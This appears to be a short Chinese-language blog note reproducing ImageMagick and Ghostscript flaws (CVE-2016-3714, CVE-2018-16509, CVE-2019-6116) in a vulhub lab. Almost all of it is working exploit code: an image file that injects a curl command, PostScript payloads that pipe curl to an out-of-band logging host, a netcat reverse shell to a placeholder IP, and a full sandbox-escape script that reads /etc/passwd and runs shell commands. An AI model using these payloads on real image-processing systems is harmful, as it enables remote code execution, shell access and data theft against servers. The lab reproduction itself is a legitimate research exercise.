CVE-2016–3714：
闲着没事突然想起这个洞来，借用vulhub复现一下
poc有很多：https://github.com/ImageTragick/PoCs
我用的
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/oops.jpg"|curl "ip:port/image)'
pop graphic-context
图片上传后，vps查看日志
CVE-2018-16509
ghostscript 影响的版本 <= 9.23（全版本、全平台）
poc.jpg
poc：
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%curl http://XXX.ceye.io) currentdevice putdeviceprops
poc ：反弹shell
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%$(nc -e /bin/sh X.X.X.X 8080)) currentdevice putd
eviceprops
CVE-2019-6116
POC：
%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
/exploit {
(Stage 11: Exploitation...)=
/forceput exch def
systemdict /SAFER false forceput
userparams /LockFilePermissions false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput
% update
save restore
% All done.
stop
} def
errordict /typecheck {
/typecount typecount 1 add def
(Stage 10: /typecheck #)=only typecount ==
% The first error will be the .knownget, which we handle and setup the
% stack. The second error will be the ifelse (missing boolean), and then we
% dump the operands.
typecount 1 eq { null } if
typecount 2 eq { pop 7 get exploit } if
typecount 3 eq { (unexpected)= quit } if
} put
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable errays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<<
/typecount 0
/PDFfile { (Stage 0: PDFfile)= currentfile }
/q { (Stage 1: q)= } % no-op
/oget { (Stage 3: oget)= pop pop 0 } % clear stack
/pdfemptycount { (Stage 4: pdfemptycount)= } % no-op
/gput { (Stage 5: gput)= } % no-op
/resolvestream { (Stage 6: resolvestream)= } % no-op
/pdfopdict { (Stage 7: pdfopdict)= } % no-op
/.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
/pdfdict { (Stage 9: pdfdict)=
% cause a /typecheck error we handle above
true
}
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile
(Attempting to execute a shell command...)= flush
% run command
(%pipe%curl http://XXX.ceye.io)
(All done.)=
quit